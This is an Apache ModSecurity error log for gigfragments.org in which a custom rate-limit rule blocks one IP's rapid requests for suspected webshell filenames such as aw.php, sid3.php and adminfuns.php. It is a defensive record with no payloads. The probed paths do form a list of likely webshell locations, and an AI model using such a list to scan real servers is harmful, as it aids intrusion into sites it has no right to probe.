[Wed May 20 04:31:41.363195 2026] [:error] [pid 59349:tid 59353] [client 20.104.227.76:15120] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aw.php"] [unique_id "agzIrTvvxTUy-ppKSZV8XwAAAMI"]
[Wed May 20 04:31:41.964879 2026] [:error] [pid 59349:tid 59361] [client 20.104.227.76:14400] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aw.php"] [unique_id "agzIrTvvxTUy-ppKSZV8YAAAAMo"]
[Wed May 20 04:31:42.514498 2026] [:error] [pid 59349:tid 59356] [client 20.104.227.76:14449] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aw.php"] [unique_id "agzIrjvvxTUy-ppKSZV8YwAAAMU"]
[Wed May 20 04:31:43.108170 2026] [:error] [pid 59349:tid 59360] [client 20.104.227.76:15148] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aw.php"] [unique_id "agzIrzvvxTUy-ppKSZV8ZQAAAMk"]
[Wed May 20 04:31:44.098683 2026] [:error] [pid 36145:tid 36156] [client 20.104.227.76:15130] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bb.php"] [unique_id "agzIsKtS18KtvF2VagsrkQAAAQg"]
[Wed May 20 04:31:44.630359 2026] [:error] [pid 59246:tid 59317] [client 20.104.227.76:15190] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bb.php"] [unique_id "agzIsGXuF32eb0pGiHwPKwAAAIo"]
[Wed May 20 04:31:45.397045 2026] [:error] [pid 36145:tid 36162] [client 20.104.227.76:15226] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bb.php"] [unique_id "agzIsatS18KtvF2VagsrkgAAAQ4"]
[Wed May 20 04:31:45.914318 2026] [:error] [pid 36145:tid 36153] [client 20.104.227.76:14444] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bb.php"] [unique_id "agzIsatS18KtvF2VagsrkwAAAQU"]
[Wed May 20 04:31:46.585025 2026] [:error] [pid 36145:tid 36158] [client 20.104.227.76:14446] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "agzIsqtS18KtvF2VagsrlgAAAQo"]
[Wed May 20 04:31:47.126740 2026] [:error] [pid 36145:tid 36168] [client 20.104.227.76:15196] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "agzIs6tS18KtvF2VagsrlwAAARQ"]
[Wed May 20 04:31:47.894561 2026] [:error] [pid 36145:tid 36171] [client 20.104.227.76:15172] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "agzIs6tS18KtvF2VagsrmAAAARc"]
[Wed May 20 04:31:48.429214 2026] [:error] [pid 59349:tid 59370] [client 20.104.227.76:15108] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "agzItDvvxTUy-ppKSZV8aQAAANM"]
[Wed May 20 04:31:49.138542 2026] [:error] [pid 59349:tid 59359] [client 20.104.227.76:15153] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "agzItTvvxTUy-ppKSZV8awAAAMg"]
[Wed May 20 04:31:49.893604 2026] [:error] [pid 59349:tid 59366] [client 20.104.227.76:15107] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "agzItTvvxTUy-ppKSZV8bAAAAM8"]
[Wed May 20 04:31:50.690781 2026] [:error] [pid 59244:tid 59276] [client 20.104.227.76:15135] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "agzItrxU0SdQQE7pLs2sLwAAABc"]
[Wed May 20 04:31:51.455081 2026] [:error] [pid 36145:tid 36155] [client 20.104.227.76:15132] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "agzIt6tS18KtvF2VagsrmgAAAQc"]
[Wed May 20 04:31:52.101108 2026] [:error] [pid 36145:tid 36150] [client 20.104.227.76:15109] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test1.php"] [unique_id "agzIuKtS18KtvF2VagsrnAAAAQI"]
[Wed May 20 04:31:52.648328 2026] [:error] [pid 59349:tid 59364] [client 20.104.227.76:15142] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test1.php"] [unique_id "agzIuDvvxTUy-ppKSZV8bwAAAM0"]
[Wed May 20 04:31:53.265435 2026] [:error] [pid 59349:tid 59361] [client 20.104.227.76:15149] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test1.php"] [unique_id "agzIuTvvxTUy-ppKSZV8cQAAAMo"]
[Wed May 20 04:31:54.027340 2026] [:error] [pid 59349:tid 59374] [client 20.104.227.76:14401] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test1.php"] [unique_id "agzIujvvxTUy-ppKSZV8dAAAANc"]
[Wed May 20 04:31:54.540284 2026] [:error] [pid 59245:tid 59281] [client 20.104.227.76:15133] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "agzIuqOutR70QIZRVkTMZQAAAEE"]
[Wed May 20 04:31:55.102778 2026] [:error] [pid 59349:tid 59355] [client 20.104.227.76:15227] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "agzIuzvvxTUy-ppKSZV8dwAAAMQ"]
[Wed May 20 04:31:55.705755 2026] [:error] [pid 59349:tid 59375] [client 20.104.227.76:15180] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "agzIuzvvxTUy-ppKSZV8eAAAANg"]
[Wed May 20 04:31:56.321671 2026] [:error] [pid 59349:tid 59365] [client 20.104.227.76:15205] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "agzIvDvvxTUy-ppKSZV8egAAAM4"]
[Wed May 20 04:31:56.837401 2026] [:error] [pid 59245:tid 59302] [client 20.104.227.76:15113] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "agzIvKOutR70QIZRVkTMaAAAAFY"]
[Wed May 20 04:31:57.260201 2026] [:error] [pid 59245:tid 59289] [client 20.104.227.76:15219] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "agzIvaOutR70QIZRVkTMaQAAAEk"]
[Wed May 20 04:31:57.943086 2026] [:error] [pid 36145:tid 36157] [client 20.104.227.76:15192] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "agzIvatS18KtvF2VagsroAAAAQk"]
[Wed May 20 04:31:58.401565 2026] [:error] [pid 59245:tid 59303] [client 20.104.227.76:15126] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "agzIvqOutR70QIZRVkTMawAAAFc"]
[Wed May 20 04:31:59.552214 2026] [:error] [pid 36145:tid 36153] [client 20.104.227.76:15146] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "agzIv6tS18KtvF2VagsroQAAAQU"]
[Wed May 20 04:32:00.079342 2026] [:error] [pid 59245:tid 59286] [client 20.104.227.76:15111] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "agzIwKOutR70QIZRVkTMbAAAAEY"]
[Wed May 20 04:32:00.762884 2026] [:error] [pid 59245:tid 59295] [client 20.104.227.76:15209] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "agzIwKOutR70QIZRVkTMbQAAAE8"]
[Wed May 20 04:32:01.310484 2026] [:error] [pid 59245:tid 59285] [client 20.104.227.76:15137] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "agzIwaOutR70QIZRVkTMbwAAAEU"]
[Wed May 20 04:32:01.953151 2026] [:error] [pid 59245:tid 59292] [client 20.104.227.76:15143] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/php8.php"] [unique_id "agzIwaOutR70QIZRVkTMcgAAAEw"]
[Wed May 20 04:32:02.505830 2026] [:error] [pid 59349:tid 59371] [client 20.104.227.76:15152] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/php8.php"] [unique_id "agzIwjvvxTUy-ppKSZV8gQAAANQ"]
[Wed May 20 04:32:03.401282 2026] [:error] [pid 59246:tid 59319] [client 20.104.227.76:14458] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/php8.php"] [unique_id "agzIw2XuF32eb0pGiHwPMAAAAIw"]
[Wed May 20 04:32:03.955926 2026] [:error] [pid 59246:tid 59308] [client 20.104.227.76:15127] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/php8.php"] [unique_id "agzIw2XuF32eb0pGiHwPMQAAAIE"]
[Wed May 20 04:32:04.452182 2026] [:error] [pid 59244:tid 59259] [client 20.104.227.76:15117] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "agzIxLxU0SdQQE7pLs2sMgAAAAY"]
[Wed May 20 04:32:05.090778 2026] [:error] [pid 59246:tid 59324] [client 20.104.227.76:14348] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "agzIxWXuF32eb0pGiHwPNAAAAJE"]
[Wed May 20 04:32:05.663804 2026] [:error] [pid 59245:tid 59302] [client 20.104.227.76:15156] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "agzIxaOutR70QIZRVkTMdQAAAFY"]
[Wed May 20 04:32:06.147397 2026] [:error] [pid 59246:tid 59312] [client 20.104.227.76:15208] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "agzIxmXuF32eb0pGiHwPNgAAAIU"]
[Wed May 20 04:32:07.367152 2026] [:error] [pid 59246:tid 59313] [client 20.104.227.76:15121] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "agzIx2XuF32eb0pGiHwPOAAAAIY"]
[Wed May 20 04:32:07.923474 2026] [:error] [pid 59246:tid 59321] [client 20.104.227.76:14419] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "agzIx2XuF32eb0pGiHwPOQAAAI4"]
[Wed May 20 04:32:08.468243 2026] [:error] [pid 59244:tid 59268] [client 20.104.227.76:14413] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "agzIyLxU0SdQQE7pLs2sMwAAAA8"]
[Wed May 20 04:32:09.100654 2026] [:error] [pid 59245:tid 59303] [client 20.104.227.76:14453] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "agzIyaOutR70QIZRVkTMdwAAAFc"]
[Wed May 20 04:32:10.077440 2026] [:error] [pid 59246:tid 59311] [client 20.104.227.76:15105] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "agzIymXuF32eb0pGiHwPPQAAAIQ"]
[Wed May 20 04:32:10.713674 2026] [:error] [pid 59246:tid 59329] [client 20.104.227.76:15162] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "agzIymXuF32eb0pGiHwPPwAAAJY"]
[Wed May 20 04:32:11.394549 2026] [:error] [pid 36145:tid 36166] [client 20.104.227.76:15154] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "agzIy6tS18KtvF2VagsrowAAARI"]
[Wed May 20 04:32:11.963664 2026] [:error] [pid 59245:tid 59291] [client 20.104.227.76:15187] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "agzIy6OutR70QIZRVkTMeQAAAEs"]
[Wed May 20 04:32:12.390675 2026] [:error] [pid 59245:tid 59286] [client 20.104.227.76:15200] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/load.php"] [unique_id "agzIzKOutR70QIZRVkTMegAAAEY"]
[Wed May 20 04:32:13.077945 2026] [:error] [pid 59246:tid 59324] [client 20.104.227.76:14441] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/load.php"] [unique_id "agzIzWXuF32eb0pGiHwPQgAAAJE"]
[Wed May 20 04:32:13.628930 2026] [:error] [pid 36145:tid 36160] [client 20.104.227.76:15125] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/load.php"] [unique_id "agzIzatS18KtvF2VagsrpQAAAQw"]
[Wed May 20 04:32:14.078634 2026] [:error] [pid 36145:tid 36150] [client 20.104.227.76:15215] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/load.php"] [unique_id "agzIzqtS18KtvF2VagsrpwAAAQI"]
[Wed May 20 04:32:14.574560 2026] [:error] [pid 36145:tid 36163] [client 20.104.227.76:15230] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/166.php"] [unique_id "agzIzqtS18KtvF2VagsrqAAAAQ8"]
[Wed May 20 04:32:15.631701 2026] [:error] [pid 59245:tid 59285] [client 20.104.227.76:15186] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/166.php"] [unique_id "agzIz6OutR70QIZRVkTMfAAAAEU"]
[Wed May 20 04:32:17.285011 2026] [:error] [pid 36145:tid 36149] [client 20.104.227.76:14396] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/166.php"] [unique_id "agzI0atS18KtvF2VagsrrQAAAQE"]
[Wed May 20 04:32:18.218132 2026] [:error] [pid 36145:tid 36156] [client 20.104.227.76:14406] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/166.php"] [unique_id "agzI0qtS18KtvF2VagsrrwAAAQg"]
[Wed May 20 04:32:19.221819 2026] [:error] [pid 36145:tid 36160] [client 20.104.227.76:15178] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/test.php"] [unique_id "agzI06tS18KtvF2VagsrsgAAAQw"]
